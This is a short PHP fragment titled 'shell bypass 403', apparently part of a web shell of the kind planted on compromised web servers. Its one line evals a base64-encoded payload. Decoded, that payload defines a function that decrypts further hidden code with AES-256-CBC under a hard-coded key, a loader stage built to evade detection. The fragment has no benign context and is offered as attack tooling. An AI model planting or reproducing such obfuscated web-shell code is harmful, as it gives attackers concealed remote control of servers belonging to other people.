shell bypass 403
<?php eval(base64_decode('CiBmdW5jdGlvbiBlNzA2MSgkZSkgeyAkZWQgPSBiYXNlNjRfZGVjb2RlKCRlKTsgJG4gPSBvcGVuc3NsX2RlY3J5cHQoInskZWR9IiwgIlwxMDFcMTA1XDEyM1w1NVw2Mlw2NVw2Nlx4MmRcMTAzXDEwMlwxMDMiLCAiXHgzNlw2Mlx4MzZceDMyXHgzN1x4MzJcNjdcNjJcNjdceDMyXHgzN1w2Mlx4MzdcNjJcMTUyXDE2MyIsIDAsICJceDMxXHgzMVw2MVx4MzFcNjFcNjFceDMxXHgzMVx4MzFcNjFcNjFcNjFceDMxXDYxXHgzMVw2MCIpOyByZXR1cm4gJG47IH0g')); ?>